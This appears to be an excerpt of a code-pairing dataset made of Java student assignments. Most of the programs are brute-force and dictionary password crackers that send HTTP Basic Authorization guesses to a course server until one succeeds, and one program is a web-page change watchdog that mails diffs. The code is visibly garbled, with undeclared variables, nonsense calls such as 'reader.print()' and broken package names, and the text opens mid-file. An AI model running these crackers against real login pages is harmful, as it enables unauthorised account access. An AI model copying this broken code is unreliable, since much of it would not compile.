                {
                    x.printStackTrace();
                }

                
                setEnd(new Timestamp(System.currentTimeMillis()));

            }

            public String printUsage()
            {
                StringBuffer s = new StringBuffer();

                s.append("** BruteForce proper usage **\n\n");
                s.append(
                    "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\n\n");

                return s.toString();
            }
            
            public String getWordFile()
            {
                return wordFile;
            }

            
            public void setWordFile(String string)
            {
                wordFile = string;
            }

        }
  - source_sentence: |

      import java.util.*;
      import java.io.*;
      import java.net.*;

      class BruteForce
      {

       public static void main (String a[])
       {
       
       final char [] alphabet = {
              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
              'w', 'x', 'y', 'z'};

       String pwd="";
       
       for(int i=0;i<52;i++)
       {
        for(int j=0;j<52;j++)
        {
         for(int k=0;k<52;k++)
         {
          pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];
          String userPassword = ":"+pwd;
          RealThread myTh = new RealThread(i,userPassword);
          Thread th = new Thread( myTh );
          th.start();
          try
          {
           
           
           th.sleep(100);
          }
          catch(Exception e)
          {} 
         }
        }
       }


      }


      }


      class RealThread implements Runnable
      {
       private int num;
       private URL url;
       private HttpURLConnection uc =null;
       private String userPassword;
       private int responseCode = 100;
       public RealThread (int i, String userPassword)
       {
       try
       {
       url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
       }
       catch(Exception ex1)
       {
       }
       num = i;
       this.userPassword = userPassword;

       }
       
       public int getResponseCode()
       {

       return this.responseCode;
       }

       public void run()
       {
        try
        {
        String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

        uc = (HttpURLConnection)url.openConnection();
        uc.setRequestProperty ("Authorization", " " + encoding);
        System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);
        this.responseCode = uc.getResponseCode();
        
        if(uc.getResponseCode()==200)
        {
           System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");
           System.exit(0);
        }

        }
        catch (Exception e) {
        System.out.println("Could not execute Thread "+num+" ");
        }
       }

      }
    sentences:
      - |


        import java.net.*;
        import java.io.*;
        import java.util.*;


        public class PasswordCracker {
            
            
            private static final char  car= 'a';
            
            private static final char END   = 'z' + 1;
            
            
            public static final int BRUTEFORCE = 0;
            public static final int DICTIONARY = 1;
            
            
            String urlName = null;
            
            String user    = null;
            
            String filename = null;
            
            int method;
            
            
            int attempt_counter;
            
            
            public static void main(String[] args) {
                
                PasswordCracker cracker = null;
                
                if ((args.length == 3) && (args[2].equalsIgnoreCase("BRUTEFORCE"))) {
                    
                    cracker = new PasswordCracker(args[0], args[1], PasswordCracker.BRUTEFORCE, null);
                }
                else if ((args.length == 4) && (args[2].equalsIgnoreCase("DICTIONARY"))) {
                    
                    cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY, args[3]);
                }
                else {
                    System.out.println("Syntax: java PasswordCracker <username> <url> BRUTEFORCE ");
                    System.out.println("        java PasswordCracker <username> <url> DICTIONARY <sourcefile> ");
                    System.exit(1);
                }
                
                cracker.run();
            }
            
            
            public PasswordCracker(String user, String url, int method, String file) {
                
                this.user     = user;
                this.urlName  = url;
                this.filename = file;
                
                this.method = method;
            }
            
            
            public boolean run() {
                
                String password;
                 s = 0;
                 end = 0;
                
                try {
                    attempt_counter = 0;
                    URL target = new URL(urlName);
                    
                    switch (this.method) {
                        
                       case  BRUTEFORCE:
                            
                            s = System.currentTimeMillis();
                            
                            
                            for (char i = 0; i < END; i++) {
                                for (char j = 0; j < END; j++) {
                                    for (char k = 0; k < END; k++) {
                                        
                                        password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
                                        if (performConnection(target, user, password)) {
                                            
                                            end = System.currentTimeMillis();
                                            
                                            System.out.println("URL: \t\t" + target +
                                            "\nUser: \t\t"+ user + "\nPassword: \t" + password);

                                            System.out.println("Attempts: \t" + attempt_counter
                                            + "\nTotal time: \t" + ((end - a) / 1000.0f) + " seconds");
                                            return true;
                                        }
                                    }
                                }
                            }
                            
                            
                            for (char i = 0; i < END; i++) {
                                for (char j = 0; j < END; j++) {
                                    for (char k = 0; k < END; k++) {
                                        
                                        password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
                                        if (isValidPassword(target, password)) {
                                            
                                            end = System.currentTimeMillis();
                                            
                                            System.out.println("Attempts: \t" + attempt_counter
                                            + "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
                                            return true;
                                        }
                                    }
                                }
                            }
                            break;
                            
                        case DICTIONARY:
                            try {
                                BufferedReader buf = new BufferedReader(new FileReader(filename));
                                
                                 s = System.currentTimeMillis();
                                
                                 {
                                    password = buf.readLine();
                                    
                                    
                                    
                                    if (password.length() == 3) {
                                        if (performConnection(target, user, password)) {
                                            
                                            end = System.currentTimeMillis();
                                            
                                            System.out.println("URL: \t\t" + target +
                                            "\nUser: \t\t"+ user + "\nPassword: \t" + password);
                                            
                                            System.out.println("Attempts: \t" + attempt_counter
                                            + "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
                                            return true;
                                        }
                                    }
                                }
                                while (password != null);
                            }
                            catch (FileNotFoundException e) {
                                System.out.println("File \"" + filename + "\" not found");
                            }
                            catch (IOException ioe) {
                                System.out.println("IO Error " + ioe);
                            }
                            break;
                            
                        default:
                            return false;
                    }
                }
                catch (Exception e) {
                    System.out.println("ERROR: " + e.getMessage());
                }
                
                end = System.currentTimeMillis();
                System.out.println("Attempts: \t" + attempt_counter +
                "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
                
                return true;
            }
            
            
            private boolean isValidPassword(URL target, String password) throws Exception {
                
                char letter[] = new char[3];
                String generated = null;
                
                letter[0] = password.charAt(0);
                for (int i = 0; i < 2; i++) {
                    
                    letter[1] = password.charAt(1);
                    for (int j = 0; j < 2; j++) {
                        
                        letter[2] = password.charAt(2);
                        for (int k = 0; k < 2; k++) {
                            
                            generated = String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);
                            
                            if ((Character.isUpperCase(letter[0]) == true) ||
                                (Character.isUpperCase(letter[1]) == true) ||
                                (Character.isUpperCase(letter[2]) == true)) {
                                
                                if (performConnection(target, user, generated) == true) {
                                    
                                    System.out.println("URL: \t\t" + target + "\nUser: \t\t"+ user +
                                    "\nPassword: \t" + generated);
                                    return true;
                                }
                            }
                            letter[2] = Character.toUpperCase(letter[2]);
                        }
                        letter[1] = Character.toUpperCase(letter[1]);
                    }
                    letter[0] = Character.toUpperCase(letter[0]);
                }
                return false;
            }
            
            
            private boolean performConnection(URL target, String username, String password) throws Exception {
                HttpURLConnection connection = null;
                
                try {
                    attempt_counter++;
                    connection = (HttpURLConnection) target.openConnection();
                    connection.setRequestProperty("Authorization", " " + Base64.encode(username + ":" + password));
                    
                    switch (connection.getResponseCode() / 100) {
                         case 2:
                            System.out.println("Connected successfully");
                            return true;
                        default:
                            return false;
                    }
                }
                catch (Exception e) {
                    throw new Exception("Failed  connect  " + target);
                }
            }
        }
      - "\n\n\nimport java.text.*;  \nimport java.util.*;  \nimport java.net.*;  \nimport java.io.*;  \n\n  \npublic class BruteForce {  \n\n   public int runProcess(String urlString,String passwd) {  \n\n       int returnval = 0;\n       MyAuthenticator auth = new MyAuthenticator(passwd);\n       Authenticator.setDefault(auth);\n\n\t       System.out.println(\"trying passord: \" + passwd);\n       try{\n            URL yahoo = new URL(urlString); \n            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n            String inputLine;\n            while ((inputLine = in.readLine()) != null) {\n\t       System.out.println(inputLine);\n\t       System.out.println(\"passord: \" + passwd);\n               returnval = 1;\n            }\n\t    in.close();\n          }catch(Exception e){ returnval = 0;}\n       return returnval;\n   }\n\n   public static void  main(String argv[]) {  \n\n       String[] val = \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n      int l1 = 0;\n\n      int l2 = 0;\n\n      int l3 = 0;\n      \n      int retval = 0;\n\n      String pwd = \"\";\n\n      \n      BruteForce s = new BruteForce();  \n      String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n    \n      for (int a = 0; a < 52; a++) {\n\n        l1 = a;\n\n        pwd = val[l1];\n        retval = 0;\n        retval = s.runProcess(urlToSearch,pwd);  \n        if (retval > 0) {\n           System.exit(0);\n        }\n      }\n\n\n      for (int b = 0; b < 52; b++) {\n        l1 = b;\n        for (int c = 0; c < 52; c++) {\n\n          l2 = c;\n          pwd = val[l1]+ val[l2];\n          retval = 0;\n          retval = s.runProcess(urlToSearch,pwd);  \n          if (retval > 0) {\n             System.exit(0);\n          }\n        }\n      }\n\n\n      for (int d = 0; d < 52; d++) {\n        l1 = d;\n        for (int e = 0; e < 52; e++) {\n          l2 = e;\n          for (int f = 0; f < 52; f++) {\n\n              l3 = f;\n\n              pwd = val[l1]+ val[l2]+ val[l3];\n              retval = 0;\n              retval = s.runProcess(urlToSearch,pwd);  \n              if (retval > 0) {\n                 System.exit(0);\n              }\n           }\n        }\n      }\n\n    }  \n}     \n\n"
      - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\nimport javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n    private String         url;\n    private URL            currURL;\n    private URLConnection  conn;\n    private HoldSharedData sharedData;\n    private int            noOfThread;\n    private int            batch;\n\n    public ConnectionThread( String pageURL, int wThread,\n                             int newBatch, HoldSharedData data )\n    {\n        super();\n        url = pageURL;\n        noOfThread = wThread ;\n        batch = newBatch;\n        sharedData = data;\n    }\n\n    \n    public void run()\n    {\n        try\n        {\n            currURL = new URL( url );\n\n            for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&\n                                    (i < sharedData.getPwdCount()); i ++ )\n            {\n                String pwd = sharedData.getPasswordAt( i );\n\n                conn = currURL.openConnection();\n\n                if (conn instanceof HttpURLConnection)\n                {\n\t            HttpURLConnection hconn = (HttpURLConnection) conn;\n                    hconn.setFollowRedirects(false);\n                    String cad = \" \" + based64Encoder( \":\" + pwd );\n                    hconn.setRequestProperty( \"Authorization\", cad );\n\n                    hconn.connect();\n\t            int response = hconn.getResponseCode();\n                    sharedData.setNumOfConnections();\n\n                    if( response == 200 )\n                    {\n                         totalTime = System.currentTimeMillis() -\n                                           sharedData.getStartTime();\n                        int numOfConnections = sharedData.getNumOfConnections();\n\n                        System.out.println( \"Password is \" + pwd );\n                        System.out.println( \"Total Time(seconds)=\" +\n                                           (double)totalTime/1000 );\n                        System.out.println( \"Number Of Connections: \" +\n                                                    numOfConnections );\n                        System.exit(0);\n                    }\n                    else\n                    {\n                        hconn.disconnect();\n                    }\n                }\n            }\n        }\n        catch( MalformedURLException mue )\n        {\n            String msg = \"Unable  parse URL: \" + url;\n            System.err.println( msg );\n        }\n        catch( IOException ioe )\n        {\n            System.err.println( \"I/O Error : \" + ioe );\n        }\n    }\n\n    private String based64Encoder( String pwd )\n    {\n        \n        String str = pwd;\n        byte[] buf = str.getBytes();\n        String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n        return encodedStr;\n    }\n}  "
  - source_sentence: |-




      public class SMTPException extends Exception {

             private String msg; 
             
             public SMTPException(String message) {
                    msg = message;
             }

             
             public String getMessage() {
                    return msg;
             }
      }
    sentences:
      - "import java.util.*;\nimport java.net.*;\nimport java.io.*;\n\npublic class BruteForce\n{\n    boolean connected = false;\n    int counter;\n    String[] chars = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\n                    \"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\n                    \"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\n                    \"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\n                    \"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\n                    \"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\n                    \"W\",\"X\",\"Y\",\"Z\"};\n    Vector combinations = new Vector();\n    \n    BruteForce()\n    {\n        counter = 0;\n        this.genCombinations();\n        this.startAttack();\n    }   \n    \n    public void startAttack()\n    {\n        while(counter<this.combinations.size())\n        {\n           connected = sendRequest();\n           if(connected == true)\n           {\n             System.out.print(\"The password is: \");\n             System.out.println((String)combinations.elementAt(counter-1));\n             counter = combinations.size();\n           }\n        }\n    }\n    \n    public void genCombinations()\n    {\n        String combination = new String();\n        \n        for (int x=0; x<52; x++)\n        {\n            combination = chars[x];\n            this.combinations.addElement(combination);\n        }\n        \n        for (int x=0; x<52; x++)\n        {\n            for (int y=0; y<52; y++)\n            {\n                combination = chars[x] + chars[y];\n                this.combinations.addElement(combination);\n            }\n        }   \n        \n        for (int x=0; x<52; x++)\n        {\n            for (int y=0; y<52; y++)\n            {\n                for (int z=0; z<52; z++)\n                {\n                    combination = chars[x] + chars[y] + chars[z];\n                    this.combinations.addElement(combination);\n                }\n            }\n        }   \n    }\n    \n    public boolean sendRequest()\n    {\n        Authenticator.setDefault (new MyAuthenticator ());\n        try \n        {\n        \t\n        \tURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n                HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();\n                urlConn.connect();\n               if(urlConn.getResponseMessage().equalsIgnoreCase(\"OK\"))\n               {\n                   return true;\n               }\n               \n        } \n        catch (IOException e) {}\n        \n        return false;\n    }\n    \n     public static void main(String [] args)\n     {\n         BruteForce bf = new BruteForce();\n     }\n   \n   \n     class MyAuthenticator extends Authenticator {\n       \n        protected PasswordAuthentication getPasswordAuthentication() {\n            String username = \"\";\n            String password = (String)combinations.elementAt(counter);\n            counter++;\n            return new PasswordAuthentication(username, password.toCharArray());\n        }\n    }\n}\n"
      - |+
        import java.io.*;
        import java.net.*;
        import java.misc.*;


        public class Dictionary
        {

           public static void main (String args[]) throws IOException
           {
              final int maxLength = 3;
              final String username = "";
              final File dicFile = new File("/usr/share/lib/dict/words");
              final URL pageURL = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");

              String password="";
              BASE64Encoder encoder = new BASE64Encoder();
              boolean notFound = true;
              HttpURLConnection conn;

              BufferedReader reader = new BufferedReader(new FileReader(dicFile));

              while (notFound&&((password = reader.readLine()) != null))
              {
                 if(password.length()>maxLength)
                 {
                    continue;
                 }

                 conn = (HttpURLConnection) pageURL.openConnection();

                    conn.setRequestProperty("Authorization", " "+encoder.encode((username+":"+password).getBytes()));

                 if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)
                 {
                    notFound=false;
                 }

              }

              reader.print();

              if(notFound)
              {
                 System.out.println(" valid password in dictionary file.");
              }
              else
              {
                 System.out.println("Found valid password: \""+password+"\"");
              }
           }
        }

      - |
        import java.io.*;
        import java.util.*;
        import java.net.*;
        import java.misc.BASE64Encoder;

        public class Dictionary
        {

          public Dictionary()
          {
          }

          public static void main(String[] args)
          {
            try
            {

                if (args.length != 3 )
                {
                    System.out.println("Usage: java BruteForce <URL> <UserName> <DictFileName>");
                    System.exit(1);
                }

                 timeStart = System.currentTimeMillis();

                String strPass = applyDictionary (args[0], args[1], args [2]);

                 timeEnd = System.currentTimeMillis();

                System.out.println("\n\n\n\n\tPass Cracked is: " + strPass);
                System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000));

            }
            catch(Exception e)
            {
              e.printStackTrace();
            }
          }

          static String applyDictionary (String URL, String UserName, String strUrlDictionary)
          {
              String strPass = "";

              try
              {
                      FileInputStream fIn = new FileInputStream ( strUrlDictionary );
                      DataInputStream dtIn = new DataInputStream ( fIn );

                     
                     

                      System.out.print("\n\n\n Applying Dictionary Attack:      ");

                      while (dtIn.available() > 0)
                      {
                          strPass = dtIn.readLine();

                          if (strPass.length() != 3)
                            continue;

                         
                       

                          System.out.print("\b\b\b" + strPass );

                          boolean boolResult = applyPass ( URL, UserName, strPass );

                          if (boolResult)
                          {
                              dtIn.close();
                              fIn.close();
                              return strPass;
                          }
                      }

                      dtIn.close();
                      fIn.close();
              }
              catch (Exception e)
              {
                  e.printStackTrace();
              }

              return "Could not find match";
          }

          private static boolean applyPass (String strURL, String strUserName, String strPass )
          {
                BASE64Encoder myEncoder = new BASE64Encoder ();

                try
                {
                    String str = strUserName + ":" + strPass;

                    String strEncode = myEncoder.encode(str.getBytes());

                    URL url = new URL (strURL);

                    URLConnection urlConn = url.openConnection();

                    urlConn.setRequestProperty ("Authorization", " " + strEncode);

                    urlConn.connect();

                    String strReply = urlConn.getHeaderField(0);

                    if ( strReply.trim().equalsIgnoreCase("HTTP/1.1 200 OK") )
                    {
                        return true;
                    }
                }
                catch (Exception e)
                {
                    e.printStackTrace ();
                }

                return false;
          }
        }
  - source_sentence: "import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog(\"Program started at \" + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog(\"Running run at \" + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog(\"Program terminated at \" + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = \"watchDogHash_rcroft.\";\n        String watchDogPageFile = \"watchDogPage_rcroft.html\";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog(\"Exception: \" + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = \"\";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile(\"new\", \"tmp\");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = \"diff \" + oldPageFileName + \" \" + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + \"\\n\";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog(\"Exception: \" + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = \"watchDogEmail_rcroft.txt\";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != \"\") && (line != \"\\n\"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog(\"Exception: \" + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog(\"Exception: \" + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add(\"@yallara.cs.rmit.edu.\");\n            emailAddresses.add(\"[email protected].\");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = \"From: \" + \"WatchDog Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName() + \">\";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = \"Subject: [SEC project] Notification of target file changes (\" + longTimestamp.format(new Date()) +\")\";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL(\"mailto: \" + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(\": \" + toAddress + \"\\n\");\n                        mailWriter.print(fromAddress + \"\\n\");\n                        mailWriter.print(subject + \"\\n\");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog(\"\\tNotification mailed in this run.\");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog(\"Exception: \" + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog(\"Exception: \" + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog(\"Exception: \" + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog(\"Exception: \" + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog(\"Exception: \" + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = \"watchDogLog_rcroft.txt\";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + \"\\n\");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println(\"Exception: \" + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = \"http://www.cs.rmit.edu./students/\";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = \"\";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + \"\\n\";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog(\"Failed  connect \" + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog(\"Exception \" + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance(\"\");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog(\"Exception: \" + e);\n        }\n        return outHash;\n    } \n        \n} \n"
    sentences:
      - "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password=\"\";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd=\"\";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t\"Usage : java BruteForce <username>\");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println (\"  \" + new Date());\n      \n      System.out.println (\"Using BruteForce method  attack \"+username+\"'s password.Please waiting.......\");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println(\"The password: \"+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n\n                System.out.println (\"Finish  \" + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println(\"The password: \"+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n                     System.out.println (\"Finish  \" + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println(\"The password: \"+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n                    \n                    System.out.println (\"Finish  \" + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(\" not find the password\");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n      \n\n      try {\n\n        String userPassword = username+\":\"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}"
      - |
        package java.httputils;

        import java.io.IOException;
        import java.net.MalformedURLException;
        import java.sql.Timestamp;


        public class RunnableBruteForce extends BruteForce implements Runnable
        {
            protected int rangeStart, rangeEnd;
            protected boolean stop = false;
            
            public RunnableBruteForce()
            {
                super();
            }

            
            public void run()
            {
                process();
            }

            public static void main(String[] args)
            {
            }
            
            public int getRangeEnd()
            {
                return rangeEnd;
            }

            
            public int getRangeStart()
            {
                return rangeStart;
            }

            
            public void setRangeEnd(int i)
            {
                rangeEnd = i;
            }

            
            public void setRangeStart(int i)
            {
                rangeStart = i;
            }

            
            public boolean isStop()
            {
                return stop;
            }

            
            public void setStop(boolean b)
            {
                stop = b;
            }

            public void process()
            {
                String password = "";
                
                System.out.println(Thread.currentThread().getName() +
                                    "->  workload: " +
                                    this.letters[getRangeStart()] + "  " +
                                    this.letters[getRangeEnd() - 1]);
                setStart(new Timestamp(System.currentTimeMillis()));

                for (int i = getRangeStart();
                    i < getRangeEnd();
                    i++)
                {
                    System.out.println(Thread.currentThread().getName() +
                            "-> Trying words beginning with: " +
                            letters[i]);
                    for (int i2 = 0;
                        i2 < letters.length;
                        i2++)
                    {
                        for (int i3 = 0;
                            i3 < letters.length;
